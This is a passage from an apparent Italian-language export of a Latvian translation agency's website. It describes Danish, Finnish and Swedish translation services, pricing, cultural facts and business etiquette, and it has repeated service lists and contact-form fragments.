sono spesso informali, l’atmosfera è positiva e non mancano gli scherzi, tuttavia mantenendo sempre le dovute distanze. È raro sentire qualcuno vantarsi delle proprie abilità, anzi. Essi tendono invece a svalutare i propri ruoli e qualifiche. La comunicazione in ambito commerciale avviene in modo semplice e di solito sono conservativi e efficaci. Anche se all’inizio gli imprenditori possono sembrare formali, dopo poco mostrano il loro lato informale. Di fatti, la maggior parte di loro non ha problemi a parlare della propria vita privata con i colleghi. Gli argomenti spaziano dalla famiglia a ciò che fanno durante le vacanze e nel tempo libero. Il danese, lo svedese e il norvegese sono tre lingue molto simili e nelle tre nazioni tutti le comprendono. Per quanto riguarda l’inglese, esso è insegnato alla scuola primaria come lingua obbligatoria ed è parlato e compreso dall'80% degli abitanti. Essa è inoltre la lingua di lavoro della maggior parte delle grandi imprese. Si può persino dire che per alcuni è come una seconda lingua. Praticamente tutti gli imprenditori danesi la padroneggiano, quindi è raro che vengano impiegati degli interpreti. La corrispondenza via email avviene in inglese fin dall’inizio, così da poter coinvolgere i propri soci o partner commerciali stranieri. In Danimarca, l’inglese è la lingua principale del mondo degli affari, quindi il danese non è importante come lingua commerciale nel mondo e neanche in Danimarca. Tuttavia, un imprenditore danese noterà sicuramente se viene salutato nella sua lingua madre. La Danimarca è stata riconosciuta come una delle migliori nazioni per fare impresa ed è sede di aziende di livello mondiale operanti in diversi settori, soprattutto nel campo delle rinnovabili. La Danimarca ospita aziende di livello mondiale in diversi settori e si concentra principalmente sul settore delle energie rinnovabili. Gli oltre 40 anni di politica energetica ambiziosa hanno aiutato la Danimarca a posizionarsi al primo posto della classifica CLEANTECH e il paese mira a diventare completamente indipendente dai combustibili fossili entro il 2050. Anche l’innovazione nel campo del settore alimentare sta avendo un impatto a livello sia nazionale che internazionale. Di fatti, il settore alimentare danese deve attenersi a degli standard di qualità altissimi e a livelli di igiene e di sicurezza esemplari. Non c'è quindi da stupirsi che alcuni dei migliori chef e ristoranti del mondo si trovino proprio in Danimarca. La Danimarca è inoltre la sesta nazione marittima al mondo per tonnellaggio gestito. L'azienda danese Maersk Line è la più grande compagnia di navigazione mercantile al mondo. Perciò, le opportunità lavorative e commerciali sono aperte a tutto il mondo. COOPERAZIONE TRA DANIMARCA E LETTONIA Le relazioni diplomatiche tra Danimarca e Lettonia sono state stabilite il 7 febbraio 1921. La Danimarca è sempre stata uno dei partner economici più importanti per la Lettonia. La cooperazione con la Danimarca nell’ambito dell’istruzione è stata portata avanti grazie al Programma di apprendimento permanente dell’UE, il programma educativo nordico-baltico Nordplus, ma anche grazie agli accordi di cooperazione tra i singoli istituti di istruzione e istituti scientifici. La cooperazione culturale con la Danimarca avviene mediante l’interscambio diretto di persone creative, di collettivi e di studenti. A livello di organizzazioni invece, la cooperazione si basa sui contratti tra partner diretti. L’Istituto di cultura danese in Lettonia gioca un ruolo importante nella promozione della cooperazione culturale tra le due nazioni. Inoltre, la Danimarca ha avuto un ruolo importante anche nel potenziamento delle Forze armate lettoni, ed è stata una delle principali nazioni nordiche a fornire supporto politico e aiuto pratico alla Lettonia. Queste due nazioni collaborano in diversi progetti: piani di protezione, gestione e formazione del personale, il Programma NATO di investimenti per la sicurezza, formazione nell’ambito ingegneristico, medicina militare, protezione ambientale, ricerca e soccorso, ecc. Inoltre, i soldati lettoni hanno prestato servizio a fianco dei soldati danesi in Bosnia ed Erzegovina e in Kosovo nella missione KFOR. In preparazione al loro dispiegamento, i soldati lettoni hanno partecipato ad un addestramento pre-missione in Danimarca. L’ambasciata danese a Riga fornisce aiuto ai cittadini e ai residenti danesi che si trovano il Lettonia, nonché agli stranieri che vogliono andare in Danimarca. Essa segue anche gli sviluppi politici ed economici in Lettonia e promuove la cooperazione tra i due paesi in ambito militare, della difesa, culturale ed educativo. Contribuisce inoltre alla promozione dei valori, dei punti di forza della nazione e della sua cultura mediante la condivisione di informazioni nella società, nei media pubblici e nei social network lettoni. Durante questo processo, si provano a trovare punti in comuni tra Lettonia e Danimarca su argomenti diversi. L’ambasciata organizza anche eventi culturali in Lettonia, ai quali partecipano sia rappresentanti danesi che lettoni. In uno dei maggiori quotidiani lettoni, gli ambasciatori dei Paesi nordici hanno una rubrica dove scrivono con regolarità. Qui l'ambasciatore scrive su temi di attualità, presentandoli da una prospettiva danese. Sono diverse le scuole di lingua in Lettonia, tra cui anche il Skrivanek Language Learning Centre, che offrono lezioni sia di gruppo che individuali di danese per tutte le età e livelli. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL DANESE: traduzioni generali e specialistiche; traduzioni urgenti; traduzioni certificate da un notaio; localizzazione; traduzione automatica con editing; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua danese; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal danese all'inglese; dall'inglese al danese; dal lettone al danese; dal danese al lettone; dall'estone al danese; dal lituano al danese; dal danese al lituano; dal russo al danese; dal danese al russo; dal ceco al danese; dal danese al ceco; dal polacco al danese; dal danese al polacco; dall'ucraino al danese; v all'ucraino; dal danese allo spagnolo; dallo spagnolo al danese; dal tedesco al danese; dal danese al tedesco; dall'italiano al danese; dal danese all'italiano; dal francese al danese; dal danese al francese; dal norvegese all'inglese; dall'inglese al norvegese; dallo svedese al danese; dal danese allo svedese; dal finlandese al danese; dal danese al finlandese e altri ancora. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL DANESE: traduzioni generali e specialistiche; traduzioni urgenti; traduzioni certificate da un notaio; localizzazione; traduzione automatica con editing; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua danese; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal danese all'inglese; dall'inglese al danese; dal lettone al danese; dal danese al lettone; dall'estone al danese; dal lituano al danese; dal danese al lituano; dal russo al danese; dal danese al russo; dal ceco al danese; dal danese al ceco; dal polacco al danese; dal danese al polacco; dall'ucraino al danese; v all'ucraino; dal danese allo spagnolo; dallo spagnolo al danese; dal tedesco al danese; dal danese al tedesco; dall'italiano al danese; dal danese all'italiano; dal francese al danese; dal danese al francese; dal norvegese all'inglese; dall'inglese al norvegese; dallo svedese al danese; dal danese allo svedese; dal finlandese al danese; dal danese al finlandese e altri ancora. --- > Traduzioni generali e specialistiche in lingua finlandese. Servizi di interpretazione e corsi individuali di lingua finlandese. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL FINLANDESE QUANTO COSTANO LE TRADUZIONI DA E VERSO IL FINLANDESE? Il costo delle traduzioni da e verso il finlandese è calcolato singolarmente per ogni ordine e dipende dalle sue caratteristiche specifiche. Ad esempio, il prezzo dei servizi di interpretazione simultanea e consecutiva e di chuchotage dipende dalla durata del servizio, dalla combinazione linguistica, dal luogo dell’evento, dalle spese di viaggio e dalla diaria. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, ecc. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume e la leggibilità del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, la formattazione di immagini e grafiche, il livello di difficoltà, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione e di interpretazione (simultanea, consecutiva, durante le udienze in tribunale e chuchotage), da e verso il finlandese è parte integrante dei contratti stipulati con in nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano sempre le informazioni riguardanti il costo del lavoro in modo dettagliato. Il costo di ogni ordine viene determinato volta per volta sulla base del listino prezzi di Skrivanek Baltic. Il preventivo è pronto in circa 30 minuti. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre e i nostri project manager vi contatteranno per concordare la soluzione più adatta. Avete bisogno di un servizio di traduzione da/verso il finlandese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua finlandese: Traduzione di documenti in finlandese Interpretazione simultanea in finlandese Validazione linguistica di traduzioni in finlandese Interpretazione consecutiva in finlandese Trascrizione in finlandese Grafica e composizione tipografica in finlandese Servizi di voice over e di sottotitolaggio in finlandese Servizi di selezione di staff finlandese Marketing multiculturale in finlandese Gestione di documenti in finlandese Servizi di deposizione in finlandese Servizi di data room virtuali in finlandese Supporto per l'e-learning in finlandese Cercate un servizio linguistico in finlandese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI SULLA LINGUA FINLANDESE Assieme allo svedese, il finlandese è una delle due lingue ufficiali della Repubblica di Finlandia. Lo status di lingua ufficiale è stabilito dalla Costituzione della Finlandia (in finlandese Suomen perustuslaki), rinnovata nel 1999, e dalla nuova Legge sulle lingue (detta Kielilaki), redatta nel 2003 ed entrata in vigore nel 2004. Dal 1995, il finlandese è una delle lingue ufficiali dell'Unione Europea. Essa è utilizzata in tutti i contesti sociolinguistici, come ad esempio in ambito governativo, in quello della cultura, nell’istruzione, nei mass media, ecc. L'uso della lingua è regolato anche da altre leggi e decreti, come ad esempio il Decreto governativo sullo status linguistico dei comuni (in finlandese Valtioneuvoston asetus virka- ja itsehallintoalueiden kielellisestä jaotuksesta), la Legge sulla conoscenza delle lingue necessarie al personale degli enti pubblici (in finlandese Kielitaitolaki), la Legge sulla Chiesa (Kirkkolaki), la Legge sulle università (Yliopistolaki), ecc. L’ente che si occupa della salvaguardia e dello studio del finlandese, nonché della sua grammatica e della pubblicazione di dizionari e di altri materiali informativi, è l’Istituto delle lingue della Finlandia (Kotimaisten kielten keskus), il quale è amministrato dal Ministero finlandese dell'istruzione e della cultura (Opetus- ja kulttuuriministeriö). La lingua dei segni finlandese è la prima lingua di 4000-5000 finlandesi sordi. Sono inoltre tra i 6000 e i 9000 i finlandesi non disabili che la usano come prima o seconda lingua. Essa deriva dalla lingua dei segni svedese, ma oggi è utilizzata anche la lingua dei segni finlandese-svedese che, tuttavia, è considerata una lingua dei segni in via di estinzione. Di fatti, sono solo in 90 ad utilizzare la lingua dei segni finlandese-svedese e la maggior parte di loro sono anziani, i quali hanno frequentato l’unica scuola svedese per sordi in Finlandia che è stata chiusa nel 1993. Un linguaggio colloquiale notevolmente sviluppato è lo slang di Helsinki (Stadin slangi). Esso si è formato a cavallo tra il XIX e il XX secolo, quando un discreto numero di residenti di lingua finlandese iniziò ad arrivare ad Helsinki, dove al tempo dominava lo svedese. Questo slang è peculiare da un punto di vista sia fonetico che grammaticale, ma anche a livello di vocabolario, il quale, nel corso degli anni, ha subito l’influenza di varie lingue straniere: svedese e russo inizialmente, ma poi anche l’inglese. Al giorno d’oggi, esso è utilizzato principalmente dagli adolescenti, mentre prima era più diffuso. Anche se i più penseranno che sono l’Italia o la Francia le nazioni europee prime per consumo di caffè pro capite, il primato appartiene alla Finandia, la quale è prima non solo in Europa, ma nel mondo. In media, i finlandesi consumano circa 12 kg di caffè all'anno; non è raro bere otto tazze di caffè al giorno. In Finlandia, il gioco per cellulare Angry Birds è diventato particolarmente popolare. Esso è stato sviluppato dalla Rovio Entertainment, la quale è stata fondata nel 2003 da degli studenti del Politecnico di Helsinki. L’azienda è diventata quotata in borsa nel 2017 e il suo valore netto era un miliardo di dollari. Per molti anni di fila, la Finlandia è stata riconosciuta come la nazione più felice del mondo. La Finlandia ha un sistema di welfare straordinario che sostiene il benessere dei cittadini finlandesi. Ad esempio, lo stato finlandese fa un regalo unico a tutte le donne in dolce attesa: un pacchetto maternità, il cosiddetto baby box. Esso può essere considerato un supporto iniziale per i neogenitori, dato che contiene una vasta gamma di prodotti utili, partendo da prodotti per il bambino fino a vestiti. Per di più, il baby box può essere utilizzato anche come letto. In Finlandia, la tradizione di regalare queste baby box ha più di ottant’anni. Non dimenticatevi della sauna! Essa è l’unica parola finlandese che tutto il mondo comprende. Sono più di due milioni le saune nel paese, e il dato diventa ancor più impressionante se si considera che la popolazione della Finlandia è di solo 5,5 milioni. La sauna è molto importante per i finlandesi. Essa è un luogo fantastico dove purificare mente e corpo, rilassarsi e godersi il momento, ma anche per fare nuove conoscenze e socializzare. Inoltre, ci sono studi che dimostrano che fare la sauna in modo regolare (preferibilmente più volte a settimana) apporta numerosi benefici alla salute, come ad esempio riduce il rischio di infarto e di sviluppare la demenza. Quindi i finlandesi fanno la sauna spesso, che sia a casa, in palestra o a lavoro. Le saune in Finlandia si trovano nei luoghi più inaspettati, come ad esempio negli studentati e negli enti statali. Dal dicembre 2020, le tradizioni finlandesi legate alla sauna sono parte del Patrimonio culturale immateriale UNESCO. Infine, il finlandese è considerato la lingua preferita dalle band heavy metal. Di fatti, molte band heavy metal famose in tutto il mondo si sono formate in Finlandia. Nel 2016, l’ex presidente americano Barack Obama notò che il sistema politico finlandese è legato alla sua scena musicale. “Voglio sottolineare che la Finlandia ha forse il maggior numero di band heavy metal al mondo pro capite e si colloca ai primi posti anche per quanto riguarda il buon governo", ha dichiarato Obama. Gruppi finlandesi come HIM e Apocalyptica sono i più conosciuti in Lettonia. Il 28 febbraio 1835, Elias Lönnrot, specialista di folklore finlandese, pubblicò i primi 32 poemi del poema epico Kalevala. In seguito, 14 anni dopo, furono pubblicate in una volta 50 tra canzoni e poemi. Fu così che si formò la base per uno dei più famosi poemi epici del popolo nordico: la leggenda della mitica terra di Kalevala. Questo poema è il frutto del massiccio lavoro svolto da specialisti di folclore finlandese e careliano e da nazionalisti. Il Kalevala si basa su canti popolari tradizionali finlandesi e careliani che utilizzavano versi liberi. Tra il XVII e il XVIII secolo, dato che nuove tendenze poetiche provenienti dall’Europa iniziarono a diffondersi in maniera decisamente pervasiva, lo sforzo dei finlandesi volto alla scrittura delle antiche canzoni si intensificò notevolmente. Di fatti, a causa di quest’influenza, nella Finlandia meridionale e occidentale il numero di coloro che conoscevano le antiche canzoni iniziò a diminuire, spingendo così gli specialisti di folclore a considerare una raccolta di canzoni popolari. In questo modo la Finlandia, ma soprattutto la Carelia che all’epoca era parte dell’Impero russo, ottenne la base per sviluppare l’unità nazionale risvegliando la consapevolezza del popolo. Sono state tante le pubblicazioni di specialisti del folclore che facevano sperare che un giorno sarebbe stato possibile raccogliere i canti popolari in un unico libro. Per il suo poema epico, Elias Lönnrot ha tratto l'ispirazione dai lavori dei suoi predecessori, i quali si trovavano presso l’Università di Turku. Il Kalevala ha un ruolo nazionale significativo. Di fatti, prima di esso i finlandesi e i careliani non avevano un’opera letteraria tale da poter gettare le fondamenta per un’unità nazionale. Perciò il Kalevala è considerato come estremamente significativo nella promozione dell’autocoscienza nazionale finlandese. Non c'è bisogno di spiegarlo ai lettoni, perché è proprio questo il ruolo che svolge il Lāčplēsis di Andrejs Pumpurs. Il Kalevala divenne popolare soprattutto all'inizio del XX secolo, quando finlandesi e careliani tentarono di ottenere l'indipendenza dall'Impero russo. Non è quindi sorprendente che molte aziende finlandesi abbiano utilizzato per il loro nome parole inspirate al Kalevala. Ad esempio, l’azienda “Leminkainen” operava nel settore edile, mentre le aziende “Sampo” e “Pohjolas” hanno tentato di buttarsi nel campo del welfare e della finanza. Inoltre, un altro fatto che rende il poema epico speciale è il fatto che sia stato scelto proprio il 28 febbraio come giorno della cultura finlandese, o giorno del Kalevala, il quale simboleggia quindi la cultura finlandese. L'ALFABETO FINLANDESE La lingua finlandese utilizza l'alfabeto latino. L'alfabeto ha le seguenti lettere: a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s (š), t, u, v, w, x, y, z (ž) å, ä, ö. Le lettere š e ž sono utilizzate nelle parole e nei nomi propri stranieri; i nomi propri in finlandese mantengono la loro ortografia originale e non vengono modificati. L'alfabeto finlandese segue la struttura dell'alfabeto svedese. La pronuncia e l'ortografia sono abbastanza simili e la pronuncia delle vocali può essere sia lunga che breve. Come accade anche in svedese, anche le consonanti possono essere pronunciate allungate, (eccetto le lettere d, v e j). Tale suono è indicato nello scritto con una doppia. In finlandese ci sono otto vocali: a, e, i, o, u, y, ä ja ö e 13-17 consonanti: p, t, k,(b), d,(g), m, n, ŋ,(f), s,(š), h, l, r, v e j. Di queste, b, g, f e š si trovano per lo più in parole straniere e nello slang, così il loro posto nel sistema consonantico finlandese non è consolidato. In finlandese, l'accento principale è sulla prima sillaba. La lunghezza delle vocali e delle consonanti gioca un ruolo importante nella distinzione del significato delle parole e ciò si applica a quasi tutti i fonemi del finlandese, come ad esempio mato ("verme") e matto ("tappeto"). QUANTO È DIFFICILE LA LINGUA FINLANDESE? Quando si inizia a studiare il finlandese, è necessario imparare un modo di pensare decisamente nuovo ed insolito. Questo vale soprattutto se lo studente è nativo di una lingua indoeuropea. Essendo una lingua uralica, il finlandese è diversa da molte lingue, tra cui anche il diffusissimo inglese, il quale è una delle numerose lingue indoeuropee. Tuttavia, dato che le due lingue appartengono alla stessa famiglia linguistica, il finlandese potrebbe risultare più facile agli estoni rispetto ad altre lingue. Il finlandese viene inserito nella categoria delle lingue difficili da imparare. Quindi solamente dopo 44 settimane o 1100 ore di studio uno studente si sentirà abbastanza sicuro delle proprie competenze linguistiche da partecipare ad una conversazione alla macchinetta del caffè. DOVE E QUANTE PERSONE PARLANO IL FINLANDESE? In tutto il mondo, sono circa 5,23 milioni i madrelingua finlandesi. Di questi, circa 4,8 milioni sono residenti in Finlandia, circa 300 mila in Svezia, tra i 50 e 100 mila in Carelia orientale e in Ingria (territori oggi parte della Repubblica russa), 12 mila in Norvegia e diverse decine di migliaia nel resto del mondo, come negli Stati uniti e in Australia. Considerando il numero di parlanti, tra le lingue uraliche il finlandese è secondo solo all’ungherese, ma essa è la più diffusa tra le lingue baltiche ugrofinniche. I NOSTRI TRADUTTORI E INTERPRETI DI FINLANDESE I nostri traduttori, interpreti e revisori di lingua finlandese forniscono traduzioni scritte di documenti standard, come anche complesse traduzioni tecniche e mediche e traduzioni certificate da un notaio. L’agenzia di traduzione Skrivanek Baltic si occupa anche di servizi di correzione di bozze e di miglioramento stilistico di testi in finlandese. I nostri linguisti esperti vi informeranno con piacere sulle differenze culturali, su come lavorare con partner commerciali finlandesi e sulla storia e tradizioni del paese. Data la frequente cooperazione tra le due nazioni in diversi ambiti, tra cui quello commerciale, economico, dell’istruzione, della cultura, ecc. , traduciamo da/verso il finlandese materiali di diversi argomenti. I servizi di traduzione che forniamo più spesso da e verso il finlandese alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, adattamento di testi per il marketing, traduzioni di accordi di cooperazione e di documentazione commerciale. Forniamo inoltre anche servizi di interpretazione consecutiva in occasione di incontri di lavoro o di altro tipo, nonché di conferenze e di eventi. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. IL FINLANDESE NEL COMMERCIO Il comportamento da tenere nel mondo degli affari è diverso a seconda delle regioni e delle nazioni. Questo può creare situazioni complicate, dato che non è semplice osservare norme di comportamento internazionali mentre si è concentrati su altre attività legate agli affari. Durante la comunicazione con i finlandesi, è fondamentale capire il loro stile comunicativo. Vi sorprenderà il fatto che i finlandesi sono silenziosi persino nella comunicazione commerciale. Nessun altro gruppo culturale delle nazioni nordiche ha la stessa reputazione di popolo solitario, riservato e spontaneo come quella dei finlandesi. Questa mancanza di desiderio di parlare nel caso in cui non abbiano nulla di importante da aggiungere ha contribuito alla credenza che i finlandesi siano lenti a capire le cose, quando in realtà essi sono calmi, riflessivi e in parte testardi e distaccati. Ed è proprio così che sono i finlandesi, anche in un ambiente lavorativo. Non hanno bisogno di un contatto diretto e, anzi, usano spesso la posta elettronica. Questo loro temperamento è sicuramente utile per risparmiare tempo nelle transazioni quotidiane. I finlandesi sono considerati estremamente efficienti nella gestione del tempo e preferiscono organizzare le loro giornate lavorative meticolosamente, così da riuscire a svolgere più mansioni possibili. Gli imprenditori possono sembrare formali e di solito mostrano il loro lato più informale solo a persone conosciute. Tuttavia, una volta che avete conosciuto il vostro collega finlandese, potrebbe diventare vostro amico per tutta la vita. In Finlandia le lingue ufficiali sono il finlandese e lo svedese e i bambini devono impararle entrambe a scuola. Per molti finlandesi, lo svedese è un po’ come una seconda lingua e il 5,5% della popolazione lo parla. La maggior parte di coloro che parla svedese tende a vivere vicino alla costa e nei territori metropolitani. Tuttavia, al giorno d’oggi è l’inglese ad essere diventato la seconda lingua della Finlandia, anche se non ufficialmente, dato che sono di più coloro che parlano come seconda lingua l’inglese rispetto allo svedese. Di fatti, la maggior parte dei finlandesi parla inglese fluentemente, soprattutto coloro che lavorano nel mondo degli affari. Effettivamente, sono numerose le aziende finlandesi ad utilizzare l’inglese come lingua di lavoro, come avviene anche qui in Lettonia. Lo sviluppo della propria attività in Finlandia potrebbe apportare discreti benefici, ma bisogna tenere conto che i finlandesi sono molto cauti. Una buona conoscenza della cultura aziendale finlandese può quindi aiutare a superare l’iniziale riservatezza che ci si potrebbe trovare di fronte e a sviluppare delle serie nonché durature relazioni. I finlandesi sono interessati in coloro che sono curiosi della Finlandia, perciò è importante dimostrare interesse in tutto ciò che è legato alla loro cultura, lingua e natura. Al di fuori della Finlandia, nel commercio il finlandese non è utilizzato e in Finlandia anche l’inglese è molto diffuso. Dato il carattere distaccato di questo popolo, le relazioni commerciali sono spesso instaurate e sviluppate tramite corrispondenza. FINLANDIA E LETTONIA Le relazioni di successo tra Lettonia e Finlandia si basano su un comune interesse nel fornire stabilità, sicurezza e prosperità sia nella regione del Mar baltico, che in Europa. Inoltre, essendo vicine da un punto di vista geografico, Lettonia e Finlandia hanno in atto una cooperazione pratica nei settori e livelli più disparati, come nell’economia, nella cultura, nell’istruzione, e nella difesa. La Finlandia è l'ottavo partner commerciale della Lettonia e un importante investitore. I settori della bioeconomia, dell’ingegneria, delle tecnologie dell’informazione, quello alimentare e quello turistico hanno un grande potenziale di cooperazione visibile sia nella promozione di attività di export dalla Lettonia che nell’attrazione di investimenti. Inoltre, la cooperazione tra Finlandia e Lettonia è molto attiva in diversi ambiti culturali. Gli artisti di entrambi i paesi partecipano spesso ad eventi internazionali organizzati dall’altra nazione, come ad esempio mostre, festival musicali, cinematografici o di altro tipo. Per di più, l’interesse per i finlandesi verso la letteratura lettone è in crescita, come anche quello lettone verso quella finlandese. Nel 2021, è stato pubblicato un libro in lettone dal titolo “Paņēmi manu sirdi no plaukta” contenente i lavori di Aleksandrs Čaks e della poetessa finlandese Heli Laaksonen. Questo è un libro di poesie composto da 15 poemi di Aleksandrs Čaks e 15 di Heli Laaksonen. Questo connubio crea un insolito dialogo in cui è come se la poetessa finlandese stesse rispondendo ai poemi del lettone. Questo è già il quarto libro che la poetessa scrive in lettone. Inoltre, le poesie di Heli Laaksonen sono state tradotte in lettone, utilizzando il dialetto livoniano costiero di Vidzeme, da Guntars Godiņš. Heli Laaksonen è una poetessa finlandese decisamente interessante e piacevole. Chiunque abbia letto almeno uno dei suoi poemi o ascoltato la sua intervista, vorrà sicuramente saperne di più sulla Finlandia e sul popolo e cultura di questa nazione. Nell’ambito del programma dell’UE per l’istruzione Socrates/Erasmus+, dei programmi e dei progetti di apprendimento permanente dell'Unione Europea e dei progetti NORDPLUS del programma educativo del Consiglio Nordico dei Ministri, le università lettoni hanno sviluppato delle strette relazioni con le università finlandesi. Sono numerosi gli studenti finlandesi che studiano presso l'Università di Riga Stradiņš e l'Università della Lettonia. Inoltre, è possibile apprendere il finlandese presso la Riga Grammar School of Nordic Languages, nonché nell'ambito del corso di laurea di primo livello in studi finnougrici presso la Facoltà di Lettere e Filosofia dell'Università della Lettonia. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL FINLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua finlandese; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone al finlandese; dal finlandese al lettone; dall’estone al finlandese; dal finlandese all'estone; dal lituano al finlandese; dal finlandese al lituano; dal russo al finlandese; dal finlandese al russo; dal ceco al finlandese; dal polacco al finlandese; dal finlandese al polacco; dall'ucraino al finlandese; dal finlandese all'ucraino; dal finlandese allo spagnolo; dallo spagnolo al finlandese; dal tedesco al finlandese; dal finlandese a tedesco; da italiano a finlandese; dal finlandese a italiano; da francese a finlandese; dal finlandese a francese; da danese a finlandese; dal finlandese a danese; da norvegese a finlandese; dal finlandese a norvegese; da svedese a finlandese; dal finlandese a svedese; da inglese a finlandese, dalfinlandese a inglese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL FINLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua finlandese; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone al finlandese; dal finlandese al lettone; dall’estone al finlandese; dal finlandese all'estone; dal lituano al finlandese; dal finlandese al lituano; dal russo al finlandese; dal finlandese al russo; dal ceco al finlandese; dal polacco al finlandese; dal finlandese al polacco; dall'ucraino al finlandese; dal finlandese all'ucraino; dal finlandese allo spagnolo; dallo spagnolo al finlandese; dal tedesco al finlandese; dal finlandese a tedesco; da italiano a finlandese; dal finlandese a italiano; da francese a finlandese; dal finlandese a francese; da danese a finlandese; dal finlandese a danese; da norvegese a finlandese; dal finlandese a norvegese; da svedese a finlandese; dal finlandese a svedese; da inglese a finlandese, dalfinlandese a inglese, ma anche altre combinazioni. --- > Traduzioni generali e specializzate, interpretazione, localizzazione e corsi di lingua svedese. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO LO SVEDESE QUANTO COSTANO LE TRADUZIONI DA E VERSO LO SVEDESE? Il costo delle traduzioni da e verso lo svedese è calcolato singolarmente per ogni ordine. Esso dipende da diversi fattori ed è conforme al listino prezzi di Skrivanek in vigore. I prezzo dei servizi di interpretazione consecutiva dipendono dalla durata dell’incarico e dalla combinazione linguistica in cui viene richiesta la traduzione. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume del materiale da tradurre, il termine di consegna del lavoro, le caratteristiche del contenuto del testo di partenza, le ripetizioni al suo interno, l’elaborazione grafica, la formattazione del testo, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione scritta e di interpretazione (sia simultanea che consecutiva), di localizzazione e di adattamento da e verso lo svedese è parte integrante dei contratti che stipuliamo con i nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il prezzo è deciso singolarmente per ogni ordine in conformità con il listino prezzi di Skrivanek Baltic, il quale si basa sul numero di parole del testo di partenza, sul numero di ripetizioni e su altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso lo svedese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua svedese: Traduzione di documenti in svedese Interpretazione simultanea in svedese Validazione linguistica di traduzioni in svedese Interpretazione consecutiva in svedese Trascrizione in svedese Grafica e composizione tipografica in svedese Servizi di voice over e di sottotitolaggio in svedese Servizi di selezione di staff svedese Marketing multiculturale in svedese Gestione di documenti in svedese Servizi di deposizione in svedese Servizi di data room virtuali in svedese Supporto per l'e-learning in svedese Cercate un servizio linguistico in svedese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio 